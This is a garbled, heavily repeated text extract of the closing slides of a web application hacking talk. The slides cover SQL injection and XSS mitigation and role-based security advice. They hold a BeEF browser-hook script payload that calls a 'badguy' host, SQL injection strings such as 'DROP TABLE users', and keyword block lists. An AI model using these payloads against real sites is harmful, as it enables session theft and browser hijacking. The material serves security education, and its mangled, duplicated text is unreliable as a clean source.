bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 55: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 56: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 57: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 58: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 59: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 60: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 61: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 62: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 63: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 64: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 65: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 66: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 67: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 68: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 69: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 70: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 71: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom